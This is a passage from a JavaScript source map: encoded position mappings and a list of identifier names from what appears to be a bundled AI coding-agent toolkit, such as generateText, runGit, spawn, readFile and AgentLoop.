MAAM,KAAK,cAAc,cAAc,KAAK,MAAM,KAAK,IAAI;AACvE,QAAI,IAAI,SAAS;AACf,aAAO;AAAA,QACL,SAAS,SAAS,KAAK,IAAI,mCAAmC,IAAI,MAAM;AAAA,QACxE,SAAS;AAAA,MACX;AAAA,IACF;AAEA,QAAI;AACJ,QAAI;AACF,eAAS,MAAM,KAAK,QAAQ,OAAO,MAAM;AAAA,QACvC;AAAA,QACA,aAAa;AAAA,QACb,iBAAiB;AAAA,UACf,QAAQ,KAAK,KAAK,iBAAiB,KAAK,IAAI,aAAa;AAAA,UACzD,MAAM,KAAK;AAAA,UACX,cAAc,KAAK;AAAA,QACrB;AAAA,MACF,CAAC;AAAA,IACH,SAAS,OAAO;AACd,UAAI,OAAO,SAAS;AAClB,eAAO,EAAE,SAAS,2BAA2B,SAAS,KAAK;AAAA,MAC7D;AACA,aAAO;AAAA,QACL,SAAS,eAAe,iBAAiB,QAAQ,MAAM,UAAU,OAAO,KAAK,CAAC;AAAA,QAC9E,SAAS;AAAA,MACX;AAAA,IACF;AAEA,QAAI,CAAC,OAAO,SAAS;AACnB,YAAM,KAAK,cAAc,eAAe,KAAK,MAAM,KAAK,IAAI;AAAA,IAC9D;AACA,WAAO;AAAA,EACT;AACF;","names":["generateText","chars","hooks","path","path","cache","path","process","path","generateText","os","path","GIT_TIMEOUT_MS","GIT_MAX_BUFFER","runGit","path","os","runGit","mkdir","rm","writeFile","os","path","mkdir","path","writeFile","rm","spawn","existsSync","path","z","spawn","spawn","killTree","path","existsSync","z","killTree","spawn","readFile","stat","writeFile","path","z","schema","z","path","stat","readFile","writeFile","path","z","readdir","stat","path","re","schema","z","path","readFile","stat","path","z","schema","z","path","stat","readFile","realpath","stat","path","z","BINARY_PROBE_BYTES","schema","z","cache","path","realpath","stat","readFile","realpath","stat","path","z","execFile","randomUUID","readFile","writeFile","os","path","execFile","path","os","randomUUID","writeFile","readFile","schema","z","path","realpath","stat","readFile","mkdir","writeFile","path","z","schema","z","path","mkdir","writeFile","z","execFile","randomUUID","readFile","unlink","os","path","promisify","execFileAsync","promisify","execFile","commandExists","path","os","randomUUID","readFile","unlink","schema","z","z","EventEmitter","MAX_FINISHED_RECORDS","z","mkdir","readFile","rm","writeFile","path","z","z","schema","truncate","z","TIMEOUT_MS","schema","z","readFileSync","statSync","path","readFileSync","statSync","path","z","cache","statSync","readFileSync","path","z","z","AgentLoop","z","signal","appendFileSync","readFileSync","statSync","path","z","cache","path","statSync","readFileSync","appendFileSync","z","generateText"]}
|